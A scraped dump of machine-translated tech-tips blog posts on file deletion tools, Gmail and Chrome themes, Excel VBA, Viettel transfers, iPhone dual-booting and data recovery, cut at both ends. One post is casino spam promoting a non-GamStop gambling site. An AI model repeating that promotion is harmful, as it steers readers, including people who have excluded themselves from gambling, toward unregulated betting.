free for users.\nLink Download: https://sourceforge.net/projects/filexile/files/latest/download\n4. Revo Uninstaller   Revo Uninstaller is one of the famous tools in its Revo product line, Revo is known for its users thanks to a lot of management software, support for diverse computers. Revo Uninstaller not only deletes stubborn file deletion, it also helps users to delete rooted applications thoroughly. On the Revo Uninstaller software, there is also a garbage removal tool on the computer so you can free up memory space.\nLink Download: https://www.revouninstaller.com/revo-uninstaller-free-download/ \nStep 1: You launch the software and select the Tools tab -\u0026gt; Unrecoverable Delete . Then, right-click and select Add file (s) or Add Folder to select the things to delete.\n  Step 2: You proceed to select the data to be permanently deleted on your computer and click Open to open.\n  Step 3: Then, you click on the file just opened and select Delete Forever to delete.\n  And the software will display the message stubborn successful file deletion. Click OK to close the dialog box.\n  5. Any File Remover   Any File Remover is a \"magic\" tool for resolving stubborn files that cannot be manually created on your computer. Any File Remover offers many different solutions to remove stubborn files, helping it create the best performance effectively. Data files that are deleted with Any File Remover will not have any recovery tools that can interfere with getting them back, so please consider carefully before deleting!\nLink Download: https://download.cnet.com/Any-File-Remover/3000-2248_4-75451610.html\nStep 1: You start the software and select Select File (s) to select the stubborn file to be deleted.\n  Step 2: Then, you select the file to be deleted and click Open to open.\n  Step 3: Finally, click on Remover file (s) to delete the file.\n  Finally, click Yes to agree to delete is complete.\n  In this article, the software tips have sent to you the Top 5 software to remove stubborn files on the best computer today. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXq0wNSbmaiqnmKzqrjEZpuepJWptrC6jKymn6ynlr%2Bm\n","link":"/post/top-5-best-stubborn-file-deletion-software/","section":"post","tags":null,"title":"Top 5 best stubborn file deletion software"},{"body":"Back in September, Gameloft has officially released the next version of the title Asphalt 8, 'Asphalt Overdrive' for Windows and all mobile platforms. Today's game has received a new upgrade that adds vehicles, a new and more special screen to support Xbox Live.\n   \n Here is a detailed list of new versions:\n2 new cars: Renault Alpine A110 and Lykan Hypersport New Joyride Race mode New plot and tutorial You can now allow any player to join your Gang Error repair and performance improvements Download Asphalt Overdrive here !\nncG1vNJzZmismaXArq3KnmWcp51krrS8x5qjrWWfq7KzsNGirZ5lpaWxosDErGSanJSewaq7zZqjZqaVrHqnscCtrKudo2Kur7CMrKypqJ%2BnwbR515umsWWcnsOm\n","link":"/post/asphalt-overdrive-updates-additional-new-features-and-supports-xbox-live/","section":"post","tags":null,"title":"Asphalt Overdrive updates additional new features and supports Xbox Live"},{"body":"Information revealed on the Reddit forum recently from a gamer showed that someone had crawled and decoded files of the Beta Genshin Impact installer and the results were surprising. Up to 8 'strange' characters have models hidden inside the set with their names, weapons used and country of origin.\n  Specifically, photos of the character models provided by this gamer are as above. In order from left to right we will have the following characters:\nHutao: A native of Liyue belongs to the element of Fire and the weapon used is a spear . As the owner of a funeral home, but it is not clear if he shares the same house as Zhongli, he could be Zhongli's boss. She does not like QiQi for some reason, possibly because QiQi is a customer who never uses the service. Mimi: A water-element wizard derived from Inazuma who uses magic books. Yunjin: A Lava-elemental character of Liyue origin and uses a spear like Zhongli. Yunjin is said to work at the Heyu tea house, as well as a dancer, singer and tea-lighter. Yaoyao: A wizard from Liyue who uses magic books. This 'loli' is the first known character of the element Wood (Dendro). Yaoyao was a sister student with Xiangling, they learned to cook from the same teacher, but Yaoyao later worked as a housekeeper for Qixing. She is very close to QiQi and was painted on a Mid-Autumn Festival poster with QiQi and Paimon. Sayu: A character of the Phong element that uses Trong Sword and is originally from Inazuma. Tohama: The Fire-type character that uses a spear is also from Inazuma. Rosaria: An Ice-type character who uses a spear from Mondstatd. Shenli: An Ice-type character who uses a Gravity Sword from Liyue 【十五 夜】\n月餅 、 味 分 か ら な い け ど 、 好 き。\n満 月 、 一 緒 に 見 よ う 一 緒 に 見 よ う。 イ ラ ス ト は ア ト イ — よら な ど 、 好 き。満 月 一 緒 に 見 よ う。 イ ラ ス ス ト は ら 神。 October 1, 2020 In addition, this person also 'dug' from the files of Genshin Impact another character named Kazuha originated from Inazuma. This character belongs to the Wind-type and uses a Single Sword. However, for some reason this character model image is not provided, but the author revealed that the character costume looks very samurai.\nThe informant also said that those are hidden in the Beta, probably a lot of tweaking has been made. So if one fine day these characters are officially announced, the shape and description might be different.\nThat's all we have been revealed through the player nicknamed P_alladium911 on the reddit forum. However, from the characters' backgrounds we can predict a few more things.\n First of all, these characters will probably be announced in the near future, possibly patch 1.2 in December. The origins of these characters belong to three regions including Mondstatd, Liyue and Inazuma.\nWith Mondstatd and Liyue we can believe that these characters will be pushed out soon as these are the 2 already opened regions while the 3rd country is not on the schedule yet. On the other hand, characters like Hutao and Yunjin were mentioned in the lines of other characters at Liyue as a hint that they will appear in the near future.\n The documentary section of Xiangling mentioned many characters in Liyue including Hutao, YaoYao, Diona .\nParticularly, characters from Inazuma may be added gradually before the new land is added. We've seen some characters from Liyue come out before the player opening up the area as Xiangling is an example. This is always a move to 'lure' players before leading them into new areas.\nCurrently, Genshin Impact is still very hot, version 1.1 will be released tomorrow and while everyone is talking about the updated content, miHoYo also revealed a new character portrait of Dainsleif. We are drowning in new miHoYo news and these 8 new characters are something a little out of reach right now.\nWell, let's just know that we have 8 new characters waiting somewhere from version 1.2 onwards, and when you come, slowly save the Gemstone.\u0026nbsp;\nGenshin Impact ncG1vNJzZmismaXArq3KnmWcp51ktKa60qGgp2WZor2ir9NmqZ6ulZa5qrrGZm9mppWseqS0wKuYnKyVp8BuwMeaq2abkaN6o7GMqameq5WjwW6%2FyKeanmWglsGktIxqaQ%3D%3D\n","link":"/post/genshin-impact-revealing-8-new-characters-that-can-be-present-since-patch-1-2/","section":"post","tags":null,"title":"Genshin Impact - Revealing 8 new characters that can be present since patch 1.2?"},{"body":"Gmail is now a popular email service and is widely used. In the settings section on Gmail, users can choose to change the Gmail interface wallpaper to refresh the personal Gmail interface. In addition to choosing wallpapers, or background images available on Gmail, users can use images uploaded from computers or phones. The following article will guide you how to change your Gmail background image as you like.\nHow to see which applications are reading your Gmail How to rename Gmail account Instructions for using secret mode when sending email on Gmail Instructions for setting wallpaper for Gmail Step 1:\nAccess your personal Gmail account and click on the gear icon to select the Subject .\n  Step 2:\nIn the Choose your theme interface we will see Gmail provides users with many different topics. Each wallpaper will be topics such as forests, beaches, or funny paintings, . If you want to see more topics, click on the other Pictures section.\n  Step 3:\nNow users will see more different wallpapers to set for Gmail. In addition, we can click on My photos is an image that you have uploaded to Google Photos.\n  In the My Photos section you will see a representative photo and photo album on Google Photos. Click on the photo album containing the image you want to set as your wallpaper.\n  Select the image for the Gmail theme and then click the Select button below.\n  Step 4:\nClick on the wallpaper that the user wants to set for Gmail, then we'll see Gmail provide more custom wallpaper with the Background text button, Image blur, or Blur images at the bottom of the interface.\n  Adjust the bar so that you can customize the level of the elements if you want to use with different strengths or weaknesses, depending on the needs of each person.\n  Step 5:\nFinally after selecting the background image and adjusting the background image, click the Save button below to save the new wallpaper for Gmail.\n  So you have installed a new wallpaper for Gmail, with the provided background images or images uploaded from Google Photos. Besides, users will also have the option to customize the display level of the wallpaper in the Gmail interface, with the edit buttons provided by Gmail.\nSee more:\nHow to add a new email address to your Gmail contacts How to change Gmail password on computer 2-layer security for Gmail how? I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYygpJqhnGLEorjLqZipnaJirrR52KisZqSZoLI%3D\n","link":"/post/how-to-change-gmail-wallpaper-as-you-like/","section":"post","tags":null,"title":"How to change Gmail wallpaper as you like"},{"body":"Office is a familiar office software suite on Windows and any other operating system. There is no set of tools available to compete with Microsoft's Office. Office is updated regularly every 3 years with different versions to help users optimize the system and easily manipulate with many new features from the manufacturer. Today, the Software Tips will guide you how to check the version of Office on your computer.\n  1. For Office 2010 Step 1: For Office 2010 you proceed to select the File tab to check.\n  Step 2: Then you continue to move to the Help section .\n  Step 3: Here will display the version of Windows and your usage package. For example, the Office version of the Software Wizard in use is the Professional Plus 2010 version and has a version number of 12.0.4.4760.1000 .\n  Note: If you do not have Word, you can do the same on other Office software such as Word, Excel, PowerPoint, One Note, Access, Publisher.\n2. For Office 2013 and above From 2013 to the present (2019), the Office versions have not changed much in the user interface, so you proceed to do the same with the 2016 and 2019 versions.\nStep 1: You proceed to open any software in the Office suite and select File .\n  Step 2: Next, you move down to Account to track your version of Office . Click About Excel to see more details.\n  Step 3: Here shows a lot of information related to the version you are using. For example, here the Software Tips uses the Office 365 MSO version with the version code is 16.0.11601.20174.\n  Note: If you do not have Word, you can do the same on other Office software such as Word, Excel, PowerPoint, One Note, Access, Publisher.\nThus, Software Tips guide you How to check the version of Office is using fastest and most accurate on Office 2010 and above. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsedOhnGaulafAqrvNZqafZZ%2Bbs6qvxGagrGWlqLavs4ytn55llpbAtbHSrWSappRiurC%2F02aYnJulp661sQ%3D%3D\n","link":"/post/how-to-check-the-version-of-office-is-using-the-fastest-and-most-accurate/","section":"post","tags":null,"title":"How to check the version of Office is using the fastest and most accurate"},{"body":"Windows 10 October 2018 is the latest version of Windows 10 to be released by Microsoft on October 2, 2018 . You have installed the latest Windows 10 and are wondering if your computer has been updated to Windows 10 yet, this is how to check Win information.\nWindows 10 Fall Creators Update has a version number of 1709. It means that if your computer is running Windows with a version number of 1706 or any version smaller than 1709, it has not been updated to Windows 10 Fall Creators Update. Windows 10 October 2018 version has a build number of 1809, if your Win has a smaller build number then you have not updated to the latest Windows version. You can see more about Windows 10 builds with their respective names here.\nHow to check the Windows 10 version on the machine? Open Settings \u0026gt; System \u0026gt; About . Here you will see Win 10 type (Home, Pro, Enterprise, Education), version number (what you need to see) and OS Build (don't need to worry too much). Notice the Version: 1709 is the standard Windows 10 Fall Creators Update.\n  Alternatively, enter winver in the search bar on Windows 10, press Enter . Or open cmd, enter winver .\n  Then, a small window opens, allowing you to see the same information as above.\n  If the computer is running on a smaller version of 1709, you can follow this guide to update to Windows 10 Fall Creators Update. How to update Windows 10 Fall Creators Update\nIf in the process of updating Windows 10 Fall Creators Update error, you refer to how to fix it here: How to fix Windows 10 update Fall Creators Update\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsedOhnGavmaOxsMPSZmhpZaaav7S1zqdkqKZdqbWmecKopKmtpJq%2F\n","link":"/post/how-to-check-the-windows-10-version-on-the-computer/","section":"post","tags":null,"title":"How to check the Windows 10 version on the computer"},{"body":"Google Chrome is one of the most popular browsers in the world today. Developed on the open source system of Chromium kernel, Google is optimally optimized and has many preeminent features. Currently Google Chrome gives users a lot of rights to edit and interfere with the browser system to optimize on demand. Today, Software Tips will guide you How to install the Theme, change the interface for Google Chrome.\n  Step 1: To change the appearance of Chrome you go to Options and open Settings .\n  Step 2: Scroll down and find the Appearance section . Here, click on Themes to change Themes.\n  Step 3: At this time, you will be switching to the Chrome store, where you can buy Themes and choose from many different Themes.\n  Step 4: After selecting Themes , press Add to Chrome to use.\n  Step 5: Immediately, your Google Chrome gets a new interface. If you do not like, you can click Undo to return.\n  Finally we get the following result:\n  Thus, Software Tips guide you how to install the theme, change the interface for Google Chrome fastest and most beautiful. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmmGasmJq6pnnCoZinn5ViwamxjKKlrZ2im66ksYyfpqtll6S8qLjEZpqhqp%2Bisg%3D%3D\n","link":"/post/how-to-install-a-theme-change-the-interface-for-google-chrome/","section":"post","tags":null,"title":"How to install a theme, change the interface for Google Chrome"},{"body":"It turns out that this procedure can be avoided, as many establishments have started offering a risk-free start. You can also try registering at no minimum deposit casino, where the visitor is not limited in the amount of the contribution: you can make as small amounts as you want.\nThere are two options for no deposit bonuses: the first is that the account remains empty, but the new player is given a certain number of freespins, that is free spins when it comes to slot machines. It's very simple: the more such spins are given, the better, because the number of attempts increases the chances of success. The second option is a certain amount that goes into the visitor's game account, but the bonus will have to be wagered according to a set wager.\n  What is a no deposit casino wager? Wager is the number of bets, spins, or actions a player needs to take before the funds can be credited to an account for withdrawal. Regardless of whether you've been given freespins or a set amount of money, you will need to wager this money, often times in multiple amounts. The higher the wager, the harder it will be to make a withdrawal when playing without investing.\nPractice shows that sometimes it is easier to make a minimum deposit with a quick withdrawal option than to try to win back \"free\" bonuses. With a Wager of 20 and a $10 bonus, you'll have to earn at least 200 credits to be able to withdraw. This may seem like a large value, but slots often have big winnings that make the task quite feasible.\nWhy were the Wagers introduced?  Don't think that wagers only exist to make life difficult for players who want to play casino games without a deposit. In fact, there are more compelling reasons as well. There are gamblers, called bonus hunters, whose job is to find places with free play and bonuses that can be quickly won back and withdrawn. What they do is enrich themselves at the expense of such sites, without thinking about the fact that other participants suffer from this. Bonus hijackers are now being actively dealt with and are putting restrictions on instant bonus withdrawals so that players are motivated to stay on the site and play more.\nWhich zero deposit casinos to choose Now, it's clear that it's possible to play https://www.nongamstopsites.co.uk/ for free, but you just need to choose the best establishment in all of this variety of offerings. It's not an easy task, but there are a few simple guidelines to help you choose the best option. First of all, you need to pay attention to the size of the bonus and the number of freespins, and it is worth focusing on the minimum wagering for the wagering on the promotion to be real. It's also useful to read reviews - have any of the visitors managed to implement the plan and still get the money out.\nOf course, you should pay attention to the credibility of the establishment, as it is not worth choosing dubious companies in any case. The presence of a casino license plays a role. If you turn to the ratings, the top at the moment are: El Royale, Wild Casino, Slots Empire, Casimba and other clubs with a wide range of slots and table games with the possibility of playing with real dealers. You should also pay attention to the types of deposits that are possible; the best option is Pay Pal, Skrill and other international systems.\nSelect a club with the lowest vader There is another approach: find a club with a vager of 1 to 5 and a small bonus. You can make just a few spins and be able to withdraw right away. This will give confidence that the system works and winning is actually realistic. Such a small success often provides good motivation for a newcomer who is playing slots for the first time. Of course, you should choose the simplest machines, preferably \"bar\" slots or, as they are otherwise called, 777 slots. Keep in mind that the same casino may change promotional offers, and you should keep track of the changes. To do this, you can subscribe to the page institution in social networks.\nFree Casino Demo You don't have to risk your money and try your hand at playing in \"demo\" mode. Almost every casino has the opportunity to try the game: run any slot and you can rotate the reels for free. The only disadvantage of such entertainment is that under no circumstances can you withdraw conditional credits.\nTo go to the serious game, you need to register and try to get a no deposit bonus, if the institution offers it.\nIn other cases, you will have to make a deposit, for which you will also be offered a reward of a set amount. If you manage to play in the \"demo\" mode, you can safely proceed to the serious game, as it's essentially the same thing, only there is the possibility of additional earnings.\nThe opportunity to play free casino attracts new visitors every day and increases the popularity of gambling entertainment in general.\ncasinos casino ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiclsZur8CsoKeno2KzsL6Mn6menV2jvG6wxKmmrKGkYq%2BwutSs\n","link":"/post/how-to-play-casinos-for-free-no-deposit-bonus/","section":"post","tags":null,"title":"How to play casinos for free: no deposit bonus"},{"body":" List of top number of mobile networks in Vietnam How to register for a 1-day 4G package Viettel, Mobifone and Vinaphone How to check Internet speed with cmd command Money transfer, also known as money shot (I-share ) of Viettel, is a service that allows customers to transfer money from their accounts, to another subscriber like friends or relatives and Viettel network.\nThis is a useful service, 'salvage' for those who are running out of money but cannot buy the phone recharge card right away or for those who want to shoot money donated to their relatives.\nTo help you more clearly on how to use this service, our article below will give you detailed instructions on how to use the I-Share Viettel service.\n  1. Conditions of money transfer Viettel's i-Share service appeared from mid-2008, for prepaid subscribers with 12 months or more usage period, they can transfer money to other subscribers. The transfer fee is 5% of the total amount to be transferred, so there must be sufficient amount of money to transfer and the service fee.\nAs for subscribers who receive money, they must be Viettel subscribers and are operating in normal 2 directions.\n2. How to transfer money to Viettel Step 1:\n  \nFirst, if you want to transfer money, you need to have the password of the subscriber in use. To get the password, we can compose according to the MK syntax sent 136 , this message will be completely free for you. After the message is finished, you will receive an 8-digit message. After obtaining the password, it is advisable to save it for use in subsequent transfers.\nStep 2:\n  \nAfter obtaining the password, you open the phone keypad to press the syntax: * 136 * Money transfer password * Phone number to receive money * # transfer amount and press OK .\nFor example, if you have a password of 12345678, the receiving phone number is 0986789888 and the amount of 20,000 you transfer will be clicked:\n* 136 * 12345678 * 0986789888 * 20000 # press call\nThe amount you want to transfer must be a multiple of 1,000 VND. Transfer fee: VND 2,000 / time with a transfer amount of less than VND 20,000, from VND 20,000 / time - VND 50,000 / time: 15% of the transferred amount The maximum amount you can transfer within 1 day is 300,000 VND. You can only transfer at most VND 50,000 for each transfer. Note : I-Share Viettel service only allows you to transfer Viettel money in your account, not transfer the use date to your account.\n3. How to retrieve the money transfer password Compose syntax:\nKP [PERSONAL CODE] sent to 136 (personal identification numbers including letters and numbers)\nTo get the personal code, the syntax is:\nTRAMA SDT1 SĐT2 SĐT3 send 143 (In which SĐT1 SĐT2 SĐT3 is 3 numbers of subscribers you regularly contact)\nThere is no charge for sending messages to 136 and 143.\n4. Load the card directly via USSD In addition to the direct money shot above, you can also use the direct card recharge service for subscribers via USSD * 103 * .\nFrom the phone keyboard interface you manipulate USSD with the following syntax:\n* 103 * Phone Number_Phone_Number * Card_Code_Code # press the call key or Ok to make a deposit for the number of devices you want to load.\nFor example : if you want to recharge your subscription: 098xxxxxxx, after shaving the silver layer on the scratch card, you will receive the serial number 1234567890234, you do the following:\n* 103 * 098xxxxxxx * 1234567890234 # and press the call key.\nThe fee for 1 transfer is 1,000 VND / 1 time of card recharge (deducted from the original account of the person performing the above loading operation (not deducted from the money of the loaded person).\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquYpLy1ecyopZ6xXau2psDTnqNmr5mptW610qGYq51dqLKzwsicnA%3D%3D\n","link":"/post/how-to-shoot-money-viettel-with-i-share-service/","section":"post","tags":null,"title":"How to shoot money Viettel with I-share service"},{"body":" You will learn to create the different types of Excel VBA (Visual Basic for Applications) Variable Data Types. VBA makes life easy for programmers because it can handle all the details involved in dealing with data automatically. For...\nPart 1of 4:\nVariable Data Types  Learn from the above table the Excel VBA Variable Data Types.  Learn that generally, it's best to use the data type that uses the smallest number of bytes yet still can handle all the data that will be assigned to it. When VBA works with data, execution speed is partially a function of the number of bytes that VBA has at its disposal. Thus, the fewer bytes used by data, the faster VBA can access and manipulate the data. The Decimal data type is rather unusual because you can't actually declare it. It is a subtype of a variant. You need to use the VBA CDec function to convert a variant to the Decimal data type.  Learn various Assignment Statements. The following list contains some examples of assignment expressions that use various variable types. The variable names are to the left of the equals sign. Each statement assigns the value to the right of the equals sign to the variable on the left.  DataEntered = True DateStart = #04/18/2015# Interest_Rate = 0.025 LoanAmount = 2000000.00 MyNumber = TheNumber * 1.25 UserName = 'Terrence O'Malley' x = 10 x = x + 1   Learn that VBA has many reserved words, which are words that you can't use for variable or procedure names. If you attempt to use one of these words, you get an error message. For example, although the reserved word Next or True might make a very descriptive variable name, the following instructions generate a syntax error: Next = 64; True = True.\n Learn that syntax error messages aren't always descriptive. If an instruction produces a strange error message, check the VBA Help system to ensure that your variable name doesn't have a special use in VBA. If the Auto Syntax Check option is turned on you get the error: Compile error: Expected: variable. If Auto Syntax Check is turned off, attempting to execute this statement results in: Compile error: Syntax error. It would be more helpful if the error message were something like Reserved word was used as a variable.\n Learn that for worksheet calculation, Excel uses the Double data type, so that's a good choice for processing numbers in VBA when you don't want to lose any precision. For integer calculations, you can use the Integer type which is limited to values less than or equal to 32,767. Otherwise, use the Long data type. Using the Long data type even for values less than 32,767 is recommended, because this data type may be a bit faster than using the Integer type. When dealing with Excel worksheet row numbers, you want to use the Long data type because the number of rows in a worksheet exceeds the maximum value for the Integer data type.\n Part 2of 4:\nDeclaring Variables If you don't declare the data type for a variable that you use in a VBA routine, VBA uses the default data type, Variant. Data stored as a Variant changes type, depending on what you do with it. The following procedure demonstrates how a variable can assume different data types: Sub VariantDemonstration() TheVar = '124' TheVar = MyVar / 2 TheVar = 'Answer: ' \u0026amp; TheVar MsgBox TheVar End Sub In the VariantDemonstration procedure, TheVar starts out as a three-character string. Then this string is divided by two and becomes a numeric data type. Next, TheVar is appended to a string, converting TheVar back to a string. The MsgBox statement displays the final string: Answer: 62.  To further demonstrate the potential problems in dealing with Variant data types, try executing this procedure: Sub VariantDemonstration2() TheVar = '124' TheVar = TheVar + TheVar TheVar = 'Answer: ' \u0026amp; TheVar MsgBox TheVar End Sub The message box displays Answer: 124124. This is probably not what you wanted. When dealing with variants that contain text strings, the + operator performs string concatenation.   You can use the VBA TypeName function to determine the data type of a variable. Here's a modified version of the previous procedure. This version displays the data type of TheVar at each step. You see that it starts out as a string, is then converted to a double, and finally ends up as a string again. Sub VariantDemonstration3() TheVar = '124' MsgBox TypeName(TheVar) TheVar = TheVar / 2 MsgBox TypeName(TheVar) TheVar = 'Answer: ' \u0026amp; TheVar MsgBox TypeName(TheVar) MsgBox TheVar End Sub   Part 3of 4:\nUser-Defined Data Types Learn that VBA lets you create custom, or user-defined, data types. A user-defined data type can ease your work with some types of data. For example, if your application deals with customer information, you may want to create a user-defined data type named CustomerData: Type CustomerData Company As String Contact As String RegionCode As Long Sales As Double End Type   You define custom data types at the top of your module, before any procedures.\n After you create a user-defined data type, you use a Dim statement to declare a variable as that type. Usually, you define an array. For example: Dim Customers(1 To 100) As CustomerData Each of the 100 elements in this array consists of four components (as specified by the user-defined data type, CustomerData). You can refer to a particular component of the record as follows: Customers(1).Company = 'Ace Tools' Customers(1).Contact = 'Tim Roberts' Customers(1).RegionCode = 1 Customers(1).Sales = 150000.00  You can also work with an element in the array as a whole. For example, to copy the information from Customers(1) to Customers(2), use this instruction: Customers(2) = Customers(1)  The preceding example is equivalent to the following instruction block: Customers(2).Company = Customers(1).Company Customers(2).Contact = Customers(1).Contact Customers(2).RegionCode = Customers(1).RegionCode Customers(2).Sales = Customers(1).Sales   Part 4of 4:\nArrays An array is a group of elements of the same type that have a common name. You refer to a specific element in the array by using the array name and an index number. For example, you can define an array of 12 string variables so that each variable corresponds to the name of a month. If you name the array MonthNaming, you can refer to the first element of the array as MonthNaming(0), the second element as MonthNaming(1), and so on, up to MonthNaming(11).\n You declare an array with a Dim or Public statement, just as you declare a regular variable. You can also specify the number of elements in the array. You do so by specifying the first index number, the keyword To, and the last index number — all inside parentheses. For example, here's how to declare an array comprising exactly 100 integers: Dim TheArray(1 To 100) As Integer   When you declare an array, you need specify only the upper index, in which case VBA assumes that 0 is the lower index. Therefore, the two statements that follow have the same effect: Dim TheArray(0 to 100) As Integer Dim TheArray(100) As Integer In both cases, the array consists of 101 elements.   By default, VBA assumes zero-based arrays. If you would like VBA to assume that 1 is the lower index for all arrays that declare only the upper index, include the following statement before any procedures in your module: Option Base 1\n When you want to declare multidimensional arrays, do the following: The array examples in the preceding section are one-dimensional arrays. VBA arrays can have up to 60 dimensions, although you'll rarely need more than three dimensions (a 3-D array). The following statement declares a 100-integer array with two dimensions (2-D): Dim TheArray(1 To 10, 1 To 10) As Integer You can think of the preceding array as occupying a 10-x-10 matrix. To refer to a specific element in a 2-D array, you need to specify two index numbers. For example, here's how you can assign a value to an element in the preceding array: TheArray(3, 4) = 125   Following is a declaration for a 3-D array that contains 1,000 elements (visualize this array as a cube): Dim TheArray(1 To 10, 1 To 10, 1 To 10) As Integer Reference an item within the array by supplying three index numbers: TheArray(4, 8, 2) = 0   When you want to declare a dynamic array, use a blank set of parentheses. A dynamic array doesn't have a preset number of elements. Dim TheArray() As Integer Before you can use a dynamic array in your code, however, you must use the ReDim statement to tell VBA how many elements are in the array. You can use a variable to assign the number of elements in an array. Often the value of the variable isn't known until the procedure is executing. For example, if the variable x contains a number, you can define the array's size by using this statement: ReDim TheArray (1 to x)  You can use the ReDim statement any number of times, changing the array's size as often as you need to. When you change an array's dimensions the existing values are destroyed. If you want to preserve the existing values, use ReDim Preserve. For example: ReDim Preserve TheArray (1 to z)    Samuel Daniel Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqmxMKeo2aukpZ6t63RopibpJVisaLAwGarsqiVqA%3D%3D\n","link":"/post/how-to-use-excel-vba-variable-data-types/","section":"post","tags":null,"title":"How to Use Excel VBA Variable Data Types"},{"body":"Have you ever thought of an iPhone that will use the Android operating system? This idea may sound unrealistic, but for those who like to explore technology, this is definitely an interesting challenge for them. And in the following article, we will show you how to install and use the Android operating system on iPhone phones.\nIn essence, the process is similar to when you were working on a dual-boot operating system, but this time with the iPhone. You don't even need a computer to do this, but it's required to have the Cydia app - Bootlace.\nBootlace profile:\nBasically, Bootlace is an iPhone application, allowing you to install OpeniBoot and iDroid into the iPhone 2G or 3G model. Users can set up, configure OpeniBoot after installation, and QuickBoot will be supported after successfully installing Bootlace. Here, QuickBoot is a feature that comes with Bootlace to boot iPhone with your operating system, and not have to reconfigure the default options.\nSome requirements:\nHere are some mandatory requirements, you need to remember carefully and carefully:\nThis method only applies to iPhone 2G and 3G models.\nThat iPhone needs to be jailbroken first with PwnageTool , Blackra1n and RedSnow . If you jailbreake with JailBreakMe or Spirit , don't continue.\nThere will be conflicts between Backgrounder and Bootlace, so turn off Backgrounder first.\nAssign more Repository:\nThis step is very important so you cannot ignore it. It sounds simple, but it is really necessary for the steps to take later. First, start Cydia and select the Manage tab:\n  There will be 3 items here, we select Sources\u0026gt; Edit , this button is located in the upper right corner of the screen:\n  Next, click the Add button in the upper left corner of the screen and enter the address: http://repo.neonkoala.co.uk in the Cydia / APT URL box and click Add Source:\n  When completing the above step, press the Return to Cydia button and Done after returning to the main Source screen:\n  When finished, you can install any other applications from the Repository just added, here is Neonkoala .\nInstall Bootlace:\nContinue, at the Source page, select Neonkoala.co.uk\u0026gt; Bootlace as shown below:\n  When ready to install Bootlace , you just need to press the Install button in the upper right corner of the screen and confirm how to press Confirm :\n  This process is quite fast, and when finished you will see a notification screen as shown below, press Return to Cydia to continue:\n  Configure and set up Bootlace:\nAt this step, the steps will be different, so you should be careful when applying. After finishing the installation, click the Home button to return to the Springboard main screen, where you will see the Bootlace icon. When you boot Bootlace , the system will automatically download and install the necessary patches:\n  When finished, the system will ask you to reboot the device, click the Reboot button:\n  After booting, enable Bootlace again, click OK at the Welcome screen:\n  And when this step comes, we will proceed to install iDroid . Select the iDroid tab as shown below and click Install :\n  The next warning message will appear, click OK to continue:\n  When finished, select the OpeniBoot tab and click the Install button to install OpeniBoot :\n  Once completed, we need to configure OpeniBoot by pressing the Configure button:\n  On the next screen, we need to select which default operating system the iPhone uses to boot first. After selecting, remember to click the Save button in the upper right corner to save the changes:\n  At this test, we have implemented Android OS 2.2.1 Froyo and everything goes smoothly when working with other Android versions. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWahnqjBorjLoqWgZZGjsW7B0qKloGWRo7Gzu8idZKirXaS7brXPoaannV1ntG5%2Fxg%3D%3D\n","link":"/post/instructions-for-installing-and-using-android-os-on-iphone-2g-3g/","section":"post","tags":null,"title":"Instructions for installing and using Android OS on iPhone 2G / 3G"},{"body":"In the process of processing data on a computer, it is inevitable that mistakenly delete or format data on a USB or external hard drive, now there are many software to help you recover deleted data, however. Not all software brings good results, this article introduces you to iMyFone AnyRecover software, which is one of the most powerful data recovery software available today.\n1. Download iMyFone AnyRecover to your device iMyFone AnyRecover is a tool capable of deep scanning, data recovery success rate is very high. Besides, iMyFone AnyRecover is also compatible with many different operating system platforms such as: Windows 7/8/8.1/10 and MacOs 11.10 ~ 11.0.\nYou can try iMyFone AnyRecover before you buy, in trial mode you can recover 8 files (no size limit).\nYou can download the trial version by following the link below:\nVersion for Windows: AnyRecover for Windows here. Version for Mac: AnyRecover for MAC here. Note: In case you mistakenly delete data on the USB/external hard drive, please pause the data recording to the USB/external hard drive and try to keep the status quo as much as possible. Overwriting, writing more data to the USB / external hard drive when data recovery is needed will reduce the success rate. 2. How to use iMyFone AnyRecover to recover deleted files on USB/external hard drive After downloading AnyRecover software to your computer, install it to use the software and recover data.\nStep 1: At the main interface of iMyFone AnyRecover software, the system has divided all storage hard drives into different groups such as:\nCommon Location: Shared Hard Drive Hard Disk Drives: The hard drive on the computer External Removable Devices: External Hard Drive (Portable Hard Drive/ USB) I can't find my partitions: Partitions not found Computer Crash Recovery: Computer Crash Recovery Virtual Disk Drives: Virtual Drives Specify a location: Select a location In this case, we will recover data on the USB / external hard drive, so we will only be interested in the External Removable Devices section.\n  Step 2: If you have connected the USB / external hard drive to the computer, but the name of the USB / external hard drive does not appear on the system, select the Refresh item to refresh the list of connected devices.\n  Step 3: To scan the data to be recovered, select the external hard drive / USB to search for data (1) and press Start (2) to start.\n  Step 4: In the process of scanning data on USB devices / external hard drives, AnyRecover software will display the number of scanned files and the total size of successfully scanned files.\n  Step 5: For large capacity external hard drives/USB, the scanning process will take more time. In this article, Tipsmake uses 32GB USB and the total scan time is about 15 minutes.\n  Step 6: When scanning the data to be recovered successfully, you will receive the Scan completed window and click OK to complete.\n  Step 7: The strength of AnyRecover is that the system will classify documents according to formats such as: Images, Videos, Audio, Documents, Mail. Based on the above classifications, you can quickly find documents. whether lost.\n  Step 8: In this article, Tipsmake\u0026nbsp;will restore the Demo image that was mistakenly deleted (deleted under the Format command). You just need to select the documents that match the file name to be searched (1) and click Recover (2) to start recovering.\n  Step 9: Next, you just need to choose the folder to store the files/documents after recovering with AnyRecover. You can restore files to USB or hard drive on your computer, when you confirm the storage location, click OK to finish.\n  Step 10: When the data is successfully restored, you will get the Congratulations! Files Recovery completed!\n  Step 11: Finally, you just need to open the recovered folder with AnyRecover and check the documents.\n  In this article, TipsMake has shown you how to recover deleted files on USB / external hard drive quickly and effectively. Have a nice day!\nrecover data 